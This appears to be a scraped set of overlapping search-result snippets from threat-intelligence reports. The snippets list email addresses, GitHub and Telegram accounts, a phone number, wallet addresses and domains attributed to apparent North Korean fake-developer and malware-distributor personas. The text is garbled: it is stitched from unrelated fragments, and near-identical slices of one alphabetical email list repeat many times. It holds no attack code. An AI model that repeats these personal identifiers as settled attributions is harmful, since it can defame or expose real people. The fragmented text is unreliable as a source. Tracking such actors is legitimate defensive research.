shar.eh…","…1@gmail.com seniordeveloper1019@gmail.com seniorpythondeveloper123456789@skiff.com seriousman1994217winter@gmail.com sg.pythondev@gmail.com sh.are.ha.ppy0126@skiff.com sh.arehappy0126@skiff.com sha.re.ha.ppy0126@skiff.com shadowmaster0419@gmail.com shah16016614@gmail.com shar.ehappy0126@skiff.com sharehapp…","…019@gmail.com seniorpythondeveloper123456789@skiff.com seriousman1994217winter@gmail.com sg.pythondev@gmail.com sh.are.ha.ppy0126@skiff.com sh.arehappy0126@skiff.com sha.re.ha.ppy0126@skiff.com shadowmaster0419@gmail.com shah16016614@gmail.com shar.ehappy0126@skiff.com sharehappy0126@gmail.com sharplip51…","…developer123456789@skiff.com seriousman1994217winter@gmail.com sg.pythondev@gmail.com sh.are.ha.ppy0126@skiff.com sh.arehappy0126@skiff.com sha.re.ha.ppy0126@skiff.com shadowmaster0419@gmail.com shah16016614@gmail.com shar.ehappy0126@skiff.com sharehappy0126@gmail.com sharplip518@gmail.com shenchris0910@gm…","…seriousman1994217winter@gmail.com sg.pythondev@gmail.com sh.are.ha.ppy0126@skiff.com sh.arehappy0126@skiff.com sha.re.ha.ppy0126@skiff.com shadowmaster0419@gmail.com shah16016614@gmail.com shar.ehappy0126@skiff.com sharehappy0126@gmail.com sharplip518@gmail.com shenchris0910@gmail.com shiningangel0421@gm…","…ail.com sg.pythondev@gmail.com sh.are.ha.ppy0126@skiff.com sh.arehappy0126@skiff.com sha.re.ha.ppy0126@skiff.com shadowmaster0419@gmail.com shah16016614@gmail.com shar.ehappy0126@skiff.com sharehappy0126@gmail.com sharplip518@gmail.com shenchris0910@gmail.com shiningangel0421@gmail.com shiningangel421…","…0xMooncity is most likely the other g0drlc identity. Github URL: https://github.com/0xMooncity E-mails: hellomooncity@gmail.com, shaina42mcdermottjgv@hotmail.com Portfolio: https://www.mooncity.io 0xMooncity also started to operate his own organization in the meantime, following exactly the…","…Notes: This repo was published November 17, 2025. GitHub Users: - shangesh-tech Email Addresses: - Shangesh S <shangesh2006@gmail.com> Domains: - vscode-helper171.vercel.app ## Variant seventeen - November 26, 2025 - Unique Identifier:…","…m kevin.tsang.coder@gmail.com henry.zhang@gmail.com viacheslay.zadorozhnyi3863@gmail.com lucasli.dream1218917@gmail.com kenjitamm@gmail.com shan.shan.eth1994@gmail.com daniellee.dev1@gmail.com markuslaandream1218917@gmail.com hasibullahnasseri986@gmail.com CharlieWang1218917.dream@proton.me andriisokyrka@g…","…ail.com sh.are.ha.ppy0126@skiff.com sh.arehappy0126@skiff.com sha.re.ha.ppy0126@skiff.com shadowmaster0419@gmail.com shah16016614@gmail.com shar.ehappy0126@skiff.com sharehappy0126@gmail.com sharplip518@gmail.com shenchris0910@gmail.com shiningangel0421@gmail.com shiningangel421@gmail.com shiningstar3032…","…skiff.com sh.arehappy0126@skiff.com sha.re.ha.ppy0126@skiff.com shadowmaster0419@gmail.com shah16016614@gmail.com shar.ehappy0126@skiff.com sharehappy0126@gmail.com sharplip518@gmail.com shenchris0910@gmail.com shiningangel0421@gmail.com shiningangel421@gmail.com shiningstar30320@gmail.com shinydev1108@…","…@skiff.com sha.re.ha.ppy0126@skiff.com shadowmaster0419@gmail.com shah16016614@gmail.com shar.ehappy0126@skiff.com sharehappy0126@gmail.com sharplip518@gmail.com shenchris0910@gmail.com shiningangel0421@gmail.com shiningangel421@gmail.com shiningstar30320@gmail.com shinydev1108@gmail.com shinydevelop…","…hiring.dev.hr@gmail.com carrie.bale.recruit@gmail.com emilyjobs.rec2023@gmail.com mars.recruiting.hiring@gmail.com shauncepla.hrteam@gmail.com grace.chen.recruitment@gmail.com grace107jobs@gmail.com abdulrahman.nasser.hr@gmail.com marthamoon014@gmail.com…","…samalt@hr.predicttocareer.space Email address Attacker-controlled email address May 2026 shelbysturm@hr.mailtrixauvex.ink Email address Attacker-controlled email address May 2026 sophiareed@hr.contacttrixauvex.ink Email…","…py0126@skiff.com shadowmaster0419@gmail.com shah16016614@gmail.com shar.ehappy0126@skiff.com sharehappy0126@gmail.com sharplip518@gmail.com shenchris0910@gmail.com shiningangel0421@gmail.com shiningangel421@gmail.com shiningstar30320@gmail.com shinydev1108@gmail.com shinydeveloper92@gmail.com shopstar0…","…aster0419@gmail.com shah16016614@gmail.com shar.ehappy0126@skiff.com sharehappy0126@gmail.com sharplip518@gmail.com shenchris0910@gmail.com shiningangel0421@gmail.com shiningangel421@gmail.com shiningstar30320@gmail.com shinydev1108@gmail.com shinydeveloper92@gmail.com shopstar0907@gmail.com shorttail375@…","…16614@gmail.com shar.ehappy0126@skiff.com sharehappy0126@gmail.com sharplip518@gmail.com shenchris0910@gmail.com shiningangel0421@gmail.com shiningangel421@gmail.com shiningstar30320@gmail.com shinydev1108@gmail.com shinydeveloper92@gmail.com shopstar0907@gmail.com shorttail375@gmail.com shouldperfect330…","…y0126@skiff.com sharehappy0126@gmail.com sharplip518@gmail.com shenchris0910@gmail.com shiningangel0421@gmail.com shiningangel421@gmail.com shiningstar30320@gmail.com shinydev1108@gmail.com shinydeveloper92@gmail.com shopstar0907@gmail.com shorttail375@gmail.com shouldperfect330@gmail.com shylgenko.dmitry…","…Actor’s Identifiers # Aliases aokisasakidev1 aokisasakidev golangorg Registration Emails aokisasaki1122@gmail.com shiningup1996@gmail.com GitHub Accounts and GitHub Collaborators https://github.com/golangorg https://github.com/aokisasakidev…","…30@outlook.com ChrisGraham1215@skiff.com DiamondDazzle@skiff.com FelixMorin1218@skiff.com Rivexavier085@gmail.com SECRETAGENT1025@GMAIL.COM ShinyBaros@outlook.com UpJobTest@skiff.com Upwork1229@skiff.com aaroller669@gmail.com abirsadesta2021@gmail.com above.throat.8592e0@gizmotik.com acedev0427@gmail.…","…126@gmail.com sharplip518@gmail.com shenchris0910@gmail.com shiningangel0421@gmail.com shiningangel421@gmail.com shiningstar30320@gmail.com shinydev1108@gmail.com shinydeveloper92@gmail.com shopstar0907@gmail.com shorttail375@gmail.com shouldperfect330@gmail.com shylgenko.dmitry@gmail.com sibiriwolf@g…","…18@gmail.com shenchris0910@gmail.com shiningangel0421@gmail.com shiningangel421@gmail.com shiningstar30320@gmail.com shinydev1108@gmail.com shinydeveloper92@gmail.com shopstar0907@gmail.com shorttail375@gmail.com shouldperfect330@gmail.com shylgenko.dmitry@gmail.com sibiriwolf@gmail.com signlevatche@gmail…","…Shiro Ennosuke / Pavlo Posternak * GitHub 1: https://github.com/phantom-98 (dead) * GitHub 2: https://github.com/saas98 * Email 1: shiroennosuke@gmail.com * Email 2: shiroennosuke@outlook.com * Skype: live:.cid.3e86d89d20526f6b * Telegram: https://t.me/oh9898 * Daily DEV 2:…","…GitHub 1: https://github.com/phantom-98 (dead) * GitHub 2: https://github.com/saas98 * Email 1: shiroennosuke@gmail.com * Email 2: shiroennosuke@outlook.com * Skype: live:.cid.3e86d89d20526f6b * Telegram: https://t.me/oh9898 * Daily DEV 2: https://dev.to/pavlo_posternak_4fe8f9439 * Same Profile…","…------------- darkb761216@gmail.com dragonrhm0817@gmail.com star710928@gmail.com yz.demix@gmail.com marketing.rep@universalinsuranceplc.com shojokur@gmail.com Personas: --------------------------------- Penguin Ui hong kong Pen Ui Fronts/Facilitators: --------------------------------- Universal…","…email insider N/A N/A Threat actor persona email 4 nicewitali0311@gmail.com email insider N/A N/A Threat actor persona email 4 shopstar0907@gmail.com email insider N/A N/A Threat actor persona email 4 rl6700907@gmail.com email insider N/A N/A Threat actor persona email 4…","…gmail.com shiningangel0421@gmail.com shiningangel421@gmail.com shiningstar30320@gmail.com shinydev1108@gmail.com shinydeveloper92@gmail.com shopstar0907@gmail.com shorttail375@gmail.com shouldperfect330@gmail.com shylgenko.dmitry@gmail.com sibiriwolf@gmail.com signlevatche@gmail.com silly.superdev1542…","…421@gmail.com shiningangel421@gmail.com shiningstar30320@gmail.com shinydev1108@gmail.com shinydeveloper92@gmail.com shopstar0907@gmail.com shorttail375@gmail.com shouldperfect330@gmail.com shylgenko.dmitry@gmail.com sibiriwolf@gmail.com signlevatche@gmail.com silly.superdev15422@gmail.com silverwisdo…","…gel421@gmail.com shiningstar30320@gmail.com shinydev1108@gmail.com shinydeveloper92@gmail.com shopstar0907@gmail.com shorttail375@gmail.com shouldperfect330@gmail.com shylgenko.dmitry@gmail.com sibiriwolf@gmail.com signlevatche@gmail.com silly.superdev15422@gmail.com silverwisdom615@gmail.com singlesale52…","…seed1996009@outlook.com serenquasarmzfjn49235@hotmail.com sergio1997121400@gmail.com sean_tech208@hotmail.com shubertlarvp286287@hotmail.com slobodanprluv@gmail.com smartinezquitian20@gmail.com smarttmpacc@hotmail.com soft.business0987@gmail.com…","…hrachya1995dev@outlook.com[email protected] ivanyanhrach1995@gmail.com[email protected] ivanyanch19891111@gmail.com[email protected] shyam6191@gmail.com[email protected]…","…m talenteddeveloper098@gmail.com hrachya1995dev@gmail.com hrachya1995dev@outlook.com ivanyanhrach1995@gmail.com ivanyanch19891111@gmail.com shyam6191@gmail.com Socials: --------------------------------- https://www.linkedin.com/in/yin-xing-50b95b186 https://www.linkedin.com/in/bill-oneil-1b24a81a9…","…r30320@gmail.com shinydev1108@gmail.com shinydeveloper92@gmail.com shopstar0907@gmail.com shorttail375@gmail.com shouldperfect330@gmail.com shylgenko.dmitry@gmail.com sibiriwolf@gmail.com signlevatche@gmail.com silly.superdev15422@gmail.com silverwisdom615@gmail.com singlesale525@gmail.com sipoxo9516@wode…","…08@gmail.com shinydeveloper92@gmail.com shopstar0907@gmail.com shorttail375@gmail.com shouldperfect330@gmail.com shylgenko.dmitry@gmail.com sibiriwolf@gmail.com signlevatche@gmail.com silly.superdev15422@gmail.com silverwisdom615@gmail.com singlesale525@gmail.com sipoxo9516@wodeda.com sisog@getairma…","…eloper92@gmail.com shopstar0907@gmail.com shorttail375@gmail.com shouldperfect330@gmail.com shylgenko.dmitry@gmail.com sibiriwolf@gmail.com signlevatche@gmail.com silly.superdev15422@gmail.com silverwisdom615@gmail.com singlesale525@gmail.com sipoxo9516@wodeda.com sisog@getairmail.com sixteen1120@prot…","…star0907@gmail.com shorttail375@gmail.com shouldperfect330@gmail.com shylgenko.dmitry@gmail.com sibiriwolf@gmail.com signlevatche@gmail.com silly.superdev15422@gmail.com silverwisdom615@gmail.com singlesale525@gmail.com sipoxo9516@wodeda.com sisog@getairmail.com sixteen1120@proton.me skybolt0307@gmail.com sk…","…x@bellsstudio.site libfredrick@gmail.com michaeldein243@gmail.com josephdgray211@hotmail.com marogus211@outlook.com briandwingo55@yahoo.com silverbeach613@gmail.com wilsonliuq2111@outlook.com munjin22@gmail.com guangheli211@gmail.com wilsondovi21@gmail.com asemenovboyarka@gmail.com alex@bellsstudio.site…","…email insider N/A N/A Threat actor-controlled email 1 rodev097@gmail.com email insider N/A N/A Threat actor-controlled email 1 silverbead0815@gmail.com email insider N/A N/A Threat actor-controlled email 1 silverbead0815@outlook.com email insider N/A N/A Threat actor-controlled email 1…","…email insider N/A N/A Threat actor-controlled email 1 silverbead0815@gmail.com email insider N/A N/A Threat actor-controlled email 1 silverbead0815@outlook.com email insider N/A N/A Threat actor-controlled email 1 su0220@outlook.com email insider N/A N/A Threat actor-controlled email 1…","…seasidehomesrealtor29486@gmail.com seasideviewrealtor08465@gmail.com seattlecityrealtor42890@gmail.com silvercityproperty05525@gmail.com silverlineproperty64209@gmail.com skylinehomeadvisor14961@gmail.com skylinehousesales62474@gmail.com…","…seasideviewrealtor08465@gmail.com seattlecityrealtor42890@gmail.com silvercityproperty05525@gmail.com silverlineproperty64209@gmail.com skylinehomeadvisor14961@gmail.com skylinehousesales62474@gmail.com smartchoicehousing24861@gmail.com…","…5@gmail.com shouldperfect330@gmail.com shylgenko.dmitry@gmail.com sibiriwolf@gmail.com signlevatche@gmail.com silly.superdev15422@gmail.com silverwisdom615@gmail.com singlesale525@gmail.com sipoxo9516@wodeda.com sisog@getairmail.com sixteen1120@proton.me skybolt0307@gmail.com skygentleman6463380@skiff.co…","…email insider N/A N/A Synthetic persona email 2 kutayijaz@outlook.com email insider N/A N/A Synthetic persona email 2 simeondimitris001@gmail.com email insider N/A N/A Synthetic persona email 2 bobituntev001@outlook.com email insider N/A N/A Synthetic persona email 2…","…aggi1@gmail.com mr.martin.adrian@gmail.com kalezhang000@gmail.com what.a.fabulous1@gmail.com tinydever@gmail.com dashhello4@gmail.com simonbergman516@gmail.com robertgreen1217@gmail.com ashleyspalliero408@gmail.com jackkarlsson1025@gmail.com adambinharun1010@gmail.com minamotohitoshi912@gmail.…","…founder persona, Daniel Pires , has a GitHub account ( danielfounder ) and a dev.to presence under creative_topdev_1010 which links to simplecode1996@gmail.com[email protected] and the domain walletdiscover.com Daniel Pires Daniel connects to a second persona through a GitHub repo titled…","…developer accounts Year in Review rubenbolanos19733@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review simpsonkeith686@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review sonniehutley5@gmail.com email malware N/A N/A DPRK malware…","…71@gmail.com richardkdavis45@gmail.com rockstar96054@gmail.com rodriguezjamesdaniel0807@gmail.com rv882866.hstgr.cloud@glitchmedic.com sinbad@hirelytics360.com thedrgn1011@gmail.com trevorgreer9312@gmail.com yudaiaoyama14@gmail.com IP Addresses Value Note 181.215.9.29 Used…","…30@gmail.com shylgenko.dmitry@gmail.com sibiriwolf@gmail.com signlevatche@gmail.com silly.superdev15422@gmail.com silverwisdom615@gmail.com singlesale525@gmail.com sipoxo9516@wodeda.com sisog@getairmail.com sixteen1120@proton.me skybolt0307@gmail.com skygentleman6463380@skiff.com slow.spell.483e4e@gizm…","…mitry@gmail.com sibiriwolf@gmail.com signlevatche@gmail.com silly.superdev15422@gmail.com silverwisdom615@gmail.com singlesale525@gmail.com sipoxo9516@wodeda.com sisog@getairmail.com sixteen1120@proton.me skybolt0307@gmail.com skygentleman6463380@skiff.com slow.spell.483e4e@gizmotik.com smallant519@g…","…wolf@gmail.com signlevatche@gmail.com silly.superdev15422@gmail.com silverwisdom615@gmail.com singlesale525@gmail.com sipoxo9516@wodeda.com sisog@getairmail.com sixteen1120@proton.me skybolt0307@gmail.com skygentleman6463380@skiff.com slow.spell.483e4e@gizmotik.com smallant519@gmail.com smallstar092…","…vatche@gmail.com silly.superdev15422@gmail.com silverwisdom615@gmail.com singlesale525@gmail.com sipoxo9516@wodeda.com sisog@getairmail.com sixteen1120@proton.me skybolt0307@gmail.com skygentleman6463380@skiff.com slow.spell.483e4e@gizmotik.com smallant519@gmail.com smallstar0924@gmail.com smart.deve…","….superdev15422@gmail.com silverwisdom615@gmail.com singlesale525@gmail.com sipoxo9516@wodeda.com sisog@getairmail.com sixteen1120@proton.me skybolt0307@gmail.com skygentleman6463380@skiff.com slow.spell.483e4e@gizmotik.com smallant519@gmail.com smallstar0924@gmail.com smart.developer5555@gmail.com sm…","…Year in Review reactangulardev@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review skyearth711@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review migueljose81234@gmail.com email malware N/A…","…om silverwisdom615@gmail.com singlesale525@gmail.com sipoxo9516@wodeda.com sisog@getairmail.com sixteen1120@proton.me skybolt0307@gmail.com skygentleman6463380@skiff.com slow.spell.483e4e@gizmotik.com smallant519@gmail.com smallstar0924@gmail.com smart.developer5555@gmail.com smart.hacker.6129@gmail.com smar…","…seattlecityrealtor42890@gmail.com silvercityproperty05525@gmail.com silverlineproperty64209@gmail.com skylinehomeadvisor14961@gmail.com skylinehousesales62474@gmail.com smartchoicehousing24861@gmail.com smartcityhomes87496@gmail.com smartkeyhomes00728@gmail.com…","…silvercityproperty05525@gmail.com silverlineproperty64209@gmail.com skylinehomeadvisor14961@gmail.com skylinehousesales62474@gmail.com smartchoicehousing24861@gmail.com smartcityhomes87496@gmail.com smartkeyhomes00728@gmail.com solidinvestments05572@gmail.com…","…2026 sarikasinha@nxlog.tech Email address Attacker-controlled email address April 2026 sladjanas@nxlog.tech Email address Attacker-controlled email address April 2026 valerie@empowerpharmacy.space Email…","…@outlook.com masterdev1027@gmail.com boriszhang1021@gmail.com topdev1228@protonmail.com hasan.musaj312@protonmail.com toshyodev@outlook.com slark0704@gmail.com helios9116@outlook.com cleanlake412@hotmail.com masterdev1027@gmail.com https://github.com/smartfox1203 https://github.com/hellovlady http…","…boriszhang1021@gmail.com - topdev1228@protonmail.com - hasan.musaj312@protonmail.com - toshyodev@outlook.com - slark0704@gmail.com - helios9116@outlook.com - cleanlake412@hotmail.com - masterdev1027@gmail.com - github.com/smartfox1203 - github.com/hellovlady -…","…outlook.com maksim1029lv@outlook.com maksimbrave1030@gmail.com maksimbrave1030@outlook.com romancondo1278@outlook.com safranov512@yahoo.com slavomir829@hotmail.com slavomir829612@hotmail.com slavomir829612@outlook.com talenteddeveloper098@gmail.com hrachya1995dev@gmail.com hrachya1995dev@outlook.com iv…","…@outlook.com maksimbrave1030@gmail.com maksimbrave1030@outlook.com romancondo1278@outlook.com safranov512@yahoo.com slavomir829@hotmail.com slavomir829612@hotmail.com slavomir829612@outlook.com talenteddeveloper098@gmail.com hrachya1995dev@gmail.com hrachya1995dev@outlook.com ivanyanhrach1995@gmail.com iv…","…0@gmail.com maksimbrave1030@outlook.com romancondo1278@outlook.com safranov512@yahoo.com slavomir829@hotmail.com slavomir829612@hotmail.com slavomir829612@outlook.com talenteddeveloper098@gmail.com hrachya1995dev@gmail.com hrachya1995dev@outlook.com ivanyanhrach1995@gmail.com ivanyanch19891111@gmail.com s…","…serenquasarmzfjn49235@hotmail.com sergio1997121400@gmail.com sean_tech208@hotmail.com shubertlarvp286287@hotmail.com slobodanprluv@gmail.com smartinezquitian20@gmail.com smarttmpacc@hotmail.com soft.business0987@gmail.com stromdev712418@gmail.com…","…inglesale525@gmail.com sipoxo9516@wodeda.com sisog@getairmail.com sixteen1120@proton.me skybolt0307@gmail.com skygentleman6463380@skiff.com slow.spell.483e4e@gizmotik.com smallant519@gmail.com smallstar0924@gmail.com smart.developer5555@gmail.com smart.hacker.6129@gmail.com smart0315dev@gmail.com smart04240@g…","…16@wodeda.com sisog@getairmail.com sixteen1120@proton.me skybolt0307@gmail.com skygentleman6463380@skiff.com slow.spell.483e4e@gizmotik.com smallant519@gmail.com smallstar0924@gmail.com smart.developer5555@gmail.com smart.hacker.6129@gmail.com smart0315dev@gmail.com smart04240@gmail.com smartbigguru@…","…tairmail.com sixteen1120@proton.me skybolt0307@gmail.com skygentleman6463380@skiff.com slow.spell.483e4e@gizmotik.com smallant519@gmail.com smallstar0924@gmail.com smart.developer5555@gmail.com smart.hacker.6129@gmail.com smart0315dev@gmail.com smart04240@gmail.com smartbigguru@gmail.com smartdevgroupl…","….com slow.spell.483e4e@gizmotik.com smallant519@gmail.com smallstar0924@gmail.com smart.developer5555@gmail.com smart.hacker.6129@gmail.com smart0315dev@gmail.com smart04240@gmail.com smartbigguru@gmail.com smartdevgroupllc@gmail.com smarttabdev@gmail.com smartwebdev0119@gmail.com smilealways1125@gmai…","…gizmotik.com smallant519@gmail.com smallstar0924@gmail.com smart.developer5555@gmail.com smart.hacker.6129@gmail.com smart0315dev@gmail.com smart04240@gmail.com smartbigguru@gmail.com smartdevgroupllc@gmail.com smarttabdev@gmail.com smartwebdev0119@gmail.com smilealways1125@gmail.com smileangel0327@…","…519@gmail.com smallstar0924@gmail.com smart.developer5555@gmail.com smart.hacker.6129@gmail.com smart0315dev@gmail.com smart04240@gmail.com smartbigguru@gmail.com smartdevgroupllc@gmail.com smarttabdev@gmail.com smartwebdev0119@gmail.com smilealways1125@gmail.com smileangel0327@gmail.com smimynah@gmai…","…silverlineproperty64209@gmail.com skylinehomeadvisor14961@gmail.com skylinehousesales62474@gmail.com smartchoicehousing24861@gmail.com smartcityhomes87496@gmail.com smartkeyhomes00728@gmail.com solidinvestments05572@gmail.com solidpropertyadvisor33345@gmail.com…","…skylinehomeadvisor14961@gmail.com skylinehousesales62474@gmail.com smartchoicehousing24861@gmail.com smartcityhomes87496@gmail.com smartkeyhomes00728@gmail.com solidinvestments05572@gmail.com solidpropertyadvisor33345@gmail.com springtownhomes83379@gmail.com…","…erpalm@outlook.com progdev77@gmail.com proharvester@outlook.com raikovskyi830@gmail.com ranko746.dev@gmail.com ripaelit1111@gmail.com smartdev531@gmail.com starmastar1126@gmail.com superdev00527@gmail.com tech.veteran71@gmail.com ubiuquitosutrusty@gmail.com web.fan.0509@gmail.com…","…@proton.me skybolt0307@gmail.com skygentleman6463380@skiff.com slow.spell.483e4e@gizmotik.com smallant519@gmail.com smallstar0924@gmail.com smart.developer5555@gmail.com smart.hacker.6129@gmail.com smart0315dev@gmail.com smart04240@gmail.com smartbigguru@gmail.com smartdevgroupllc@gmail.com smarttabdev@gmail…","…0924@gmail.com smart.developer5555@gmail.com smart.hacker.6129@gmail.com smart0315dev@gmail.com smart04240@gmail.com smartbigguru@gmail.com smartdevgroupllc@gmail.com smarttabdev@gmail.com smartwebdev0119@gmail.com smilealways1125@gmail.com smileangel0327@gmail.com smimynah@gmail.com snow.monkey1120@gmail…","…promiseislaw (Marcin Iwanski) - Brent Jeremy - Marcin Iwanski - Liguo Ma - Pirachat Chaiwongrote - promseislaw@gmail.com - smartdevpro001@gmail.com - brentjeremynel@gmail.com - onetouch0525@gmail.com - kevinlee2821@gmail.com - leondragandevelop@gmail.com - eric2022412@gmail.com -…","…(Marcin Iwanski): --------------------------------------------- Emails: promseislaw@gmail.com smartdevpro001@gmail.com brentjeremynel@gmail.com onetouch0525@gmail.com kevinlee2821@gmail.com leondragandevelop@gmail.com eric2022412@gmail.com ma.liguo@outlook.c…","…v317@gmail.com codeknight0707@gmail.com seniordev9726@outlook.com dreamcomes0704@gmail.com topdev1228@protonmail.com helios0912@outlook.com smartfox1203@gmail.com \"star\", \"dev\", \"pro\", \"senior\", and \"coder\" are typical keywords seen in the emails, usually followed by 3 or 4 digits. Personas did…","…helios9116 - hellovlady - masterdev1027 - seniordev9726 - slark0704 - smartfox1203 - topdev1228 - toshyodev - Zhang-777 - smartfox1203@gmail.com - codeknight0707@gmail.com - seniordev9726@outlook.com - anydev1103@gmail.com - fulldev114@outlook.com - boriszhang1021@gmail.com -…","…om skygentleman6463380@skiff.com slow.spell.483e4e@gizmotik.com smallant519@gmail.com smallstar0924@gmail.com smart.developer5555@gmail.com smart.hacker.6129@gmail.com smart0315dev@gmail.com smart04240@gmail.com smartbigguru@gmail.com smartdevgroupllc@gmail.com smarttabdev@gmail.com smartwebdev0119@gmail.c…","…sergio1997121400@gmail.com sean_tech208@hotmail.com shubertlarvp286287@hotmail.com slobodanprluv@gmail.com smartinezquitian20@gmail.com smarttmpacc@hotmail.com soft.business0987@gmail.com stromdev712418@gmail.com suhkuv.competition.tel@gmail.com…","A fourteen-post thread on the accounts that worked on Tokamak Network's bridge front end, marketplace and subgraph between November 2023 and February 2025, read as a single cell from the primary account's following list, commit-email forensics, renamed and deleted handles, and account-creation dates clustered within days of each other. Every value here is stated in the thread; post thirteen is the researcher's own address map for the cell. Created 22 March 2022, the last of the March batch. Post ten credits the account with merged pull requests to swagger-editor, sbt, python-telegram-bot and several Bittensor subnets.","…skylinehousesales62474@gmail.com smartchoicehousing24861@gmail.com smartcityhomes87496@gmail.com smartkeyhomes00728@gmail.com solidinvestments05572@gmail.com solidpropertyadvisor33345@gmail.com springtownhomes83379@gmail.com stard8447@gmail.com…","…smartonefire88888 - devstar.sky20 - github.com/wdev733 - jack.lu955@gmail.com - johnston.john542789@gmail.com - smartonefire88888@outlook.com - wdev733@gmail.com - devstar.sky20@gmail.com - ![](./wdev733-jack-lu-1.jpg) - ![](./wdev733-jack-lu-2.jpg) #### James Lee -…","…and has two commits: On Sept 30 and November 10, 2025. GitHub Users: - smartpayauthor - SmartPay24 Email Addresses: - smartpayauthor <smartpay@smart.com> - smartpayauthor <smartpayauthor@gmail.com> Domains: - vscode-load-config.vercel.app ## Variant ten - November 11, 2025 - Unique…","…10, 2025. GitHub Users: - smartpayauthor - SmartPay24 Email Addresses: - smartpayauthor <smartpay@smart.com> - smartpayauthor <smartpayauthor@gmail.com> Domains: - vscode-load-config.vercel.app ## Variant ten - November 11, 2025 - Unique Identifier:…","…repository sethnikhil74@gmail.com Commits to malicious repository shrisrivastava2@gmail.com Commits to malicious repository smartpayauthor@gmail.com Commits to malicious repository suportemtng@gmail.com Commits to malicious repository suyog.ep@gmail.com Commits to malicious…","…• [Archive](https://web.archive.org/web/20250827061313/https://github.com/oracle071) - linkedin.com/in/aldinosaputra/ - smartpuck111@gmail.com - +6285732172769 - freelancer.com/u/spectrecoder - t.me/zerox_toml (ID: 8098234150 name: Zerox) - t.me/whitecrow0109 (ID: 6735314353…","…github.com/call-by - github.com/wewecalibrate - github.com/jp-smart • [Archive](https://archive.ph/grqjk) - joshupgig@gmail.com - smart.solidity@gmail.com - 0x06f90983cd2215379e440fc525e441d6a5fc3fba - 5Jfb3n8eW4JyQrKJktMNBFXnC1zx2YHjRSkzRrTT5QHh -…","…per5555@gmail.com smart.hacker.6129@gmail.com smart0315dev@gmail.com smart04240@gmail.com smartbigguru@gmail.com smartdevgroupllc@gmail.com smarttabdev@gmail.com smartwebdev0119@gmail.com smilealways1125@gmail.com smileangel0327@gmail.com smimynah@gmail.com snow.monkey1120@gmail.com snow1022127@gmail…","…sean_tech208@hotmail.com shubertlarvp286287@hotmail.com slobodanprluv@gmail.com smartinezquitian20@gmail.com smarttmpacc@hotmail.com soft.business0987@gmail.com stromdev712418@gmail.com suhkuv.competition.tel@gmail.com tetianabanakh34@gmail.com…","…t.hacker.6129@gmail.com smart0315dev@gmail.com smart04240@gmail.com smartbigguru@gmail.com smartdevgroupllc@gmail.com smarttabdev@gmail.com smartwebdev0119@gmail.com smilealways1125@gmail.com smileangel0327@gmail.com smimynah@gmail.com snow.monkey1120@gmail.com snow1022127@gmail.com snowrobert0512@gmail.…","…art0315dev@gmail.com smart04240@gmail.com smartbigguru@gmail.com smartdevgroupllc@gmail.com smarttabdev@gmail.com smartwebdev0119@gmail.com smilealways1125@gmail.com smileangel0327@gmail.com smimynah@gmail.com snow.monkey1120@gmail.com snow1022127@gmail.com snowrobert0512@gmail.com snowrobert636@gmail.co…","…04240@gmail.com smartbigguru@gmail.com smartdevgroupllc@gmail.com smarttabdev@gmail.com smartwebdev0119@gmail.com smilealways1125@gmail.com smileangel0327@gmail.com smimynah@gmail.com snow.monkey1120@gmail.com snow1022127@gmail.com snowrobert0512@gmail.com snowrobert636@gmail.com snowscape226@gmail.com…","…uru@gmail.com smartdevgroupllc@gmail.com smarttabdev@gmail.com smartwebdev0119@gmail.com smilealways1125@gmail.com smileangel0327@gmail.com smimynah@gmail.com snow.monkey1120@gmail.com snow1022127@gmail.com snowrobert0512@gmail.com snowrobert636@gmail.com snowscape226@gmail.com sofihuk3@gmail.com…","…Leon Zhang - Evgeny Shalimov - loganlee002@gmail.com - loganworld002@gmail.com - akp707d@gmail.com - websolution0524@gmail.com - smirnovvvasyl@gmail.com - rgrobertclark032@gmail.com - johnwilliam199024@gmail.com - github.com/loganworld - github.com/logan-smith-cloud -…","…Project: Hogwarz, hogwarz.com Emails: loganlee002@gmail.com loganworld002@gmail.com akp707d@gmail.com websolution0524@gmail.com smirnovvvasyl@gmail.com rgrobertclark032@gmail.com johnwilliam199024@gmail.com Github: github.com/loganworld github.com/logan-smith-cloud github.com/jeevan8888 gi…","…email insider N/A N/A Synthetic persona email 2 alexandermori1218@gmail.com email insider N/A N/A Synthetic persona email 2 smupyknight@outlook.com email insider N/A N/A DPRK developer email 2 btrs.corp@gmail.com email insider N/A N/A DPRK developer email 2 byolate@gmail.com email…","…pinefirst@outlook.com reply9998@gmail.com richard.stewart.1202@gmail.com richard.stewart.1202@outlook.com sniper_bruce@outlook.com stp.walsh33@gmail.com techcare127@gmail.com truepai415@gmail.com truestar222@outlook.com volodimir.work2020@gmail.com…","…0xfdd0f832b44ee76109603bf41a271f87d21adc54 Signer on Safe 0xfba #### Kaiden Araki / Derrick Lewis - derrick.d.lewis.312@gmail.com - snoopy5473cool@gmail.com - 0x73dab48c8a022a576131525ce4ee46e1a22922eb - 0xb338F56cA13EB44D94bD01cf9eE0FDB9968ABA36 -…","…ttabdev@gmail.com smartwebdev0119@gmail.com smilealways1125@gmail.com smileangel0327@gmail.com smimynah@gmail.com snow.monkey1120@gmail.com snow1022127@gmail.com snowrobert0512@gmail.com snowrobert636@gmail.com snowscape226@gmail.com sofihuk3@gmail.com softangel0080@gmail.com softmax0112@gmail.com so…","…in Review mutsabsaskajgig0f@outlook.com email malware N/A December 2025 DPRK malware distributor GitLab.com account Year in Review snowl3784@gmail.com email malware N/A December 2025 DPRK malware distributor GitLab.com account Year in Review dieterwang@proton.me email malware N/A…","…devgroupllc@gmail.com smarttabdev@gmail.com smartwebdev0119@gmail.com smilealways1125@gmail.com smileangel0327@gmail.com smimynah@gmail.com snow.monkey1120@gmail.com snow1022127@gmail.com snowrobert0512@gmail.com snowrobert636@gmail.com snowscape226@gmail.com sofihuk3@gmail.com softangel0080@gmail.com so…","…twebdev0119@gmail.com smilealways1125@gmail.com smileangel0327@gmail.com smimynah@gmail.com snow.monkey1120@gmail.com snow1022127@gmail.com snowrobert0512@gmail.com snowrobert636@gmail.com snowscape226@gmail.com sofihuk3@gmail.com softangel0080@gmail.com softmax0112@gmail.com solomiiahuliak@gmail.com so…","…lealways1125@gmail.com smileangel0327@gmail.com smimynah@gmail.com snow.monkey1120@gmail.com snow1022127@gmail.com snowrobert0512@gmail.com snowrobert636@gmail.com snowscape226@gmail.com sofihuk3@gmail.com softangel0080@gmail.com softmax0112@gmail.com solomiiahuliak@gmail.com 